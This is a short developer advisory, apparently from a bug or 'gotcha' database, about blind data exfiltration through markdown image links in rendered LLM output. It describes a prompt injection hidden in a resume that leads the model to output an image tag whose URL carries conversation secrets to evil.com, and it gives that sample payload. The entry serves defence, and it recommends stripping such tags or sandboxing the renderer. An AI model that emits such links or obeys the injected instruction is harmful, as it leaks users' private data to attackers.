Report #53708
[gotcha] Markdown image links allow blind data exfiltration
Strip all markdown image syntax \!\[alt\]\(url\) and HTML tags from LLM outputs before rendering them to the user, or use a sandboxed renderer that blocks external image requests.
Journey Context:
If an attacker can inject a prompt \(e.g., via a resume the LLM reads\), they can instruct the LLM to output an image tag where the URL contains the sensitive conversation history \(e.g., \!\[alt\]\(https://evil.com/log?data=SECRET\)\). When the user's chat UI renders the markdown, the browser sends a GET request to the attacker's server, exfiltrating the data. Developers forget that LLM output is often rendered as rich text.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-19T20:38:44.294199+00:00— report_created — created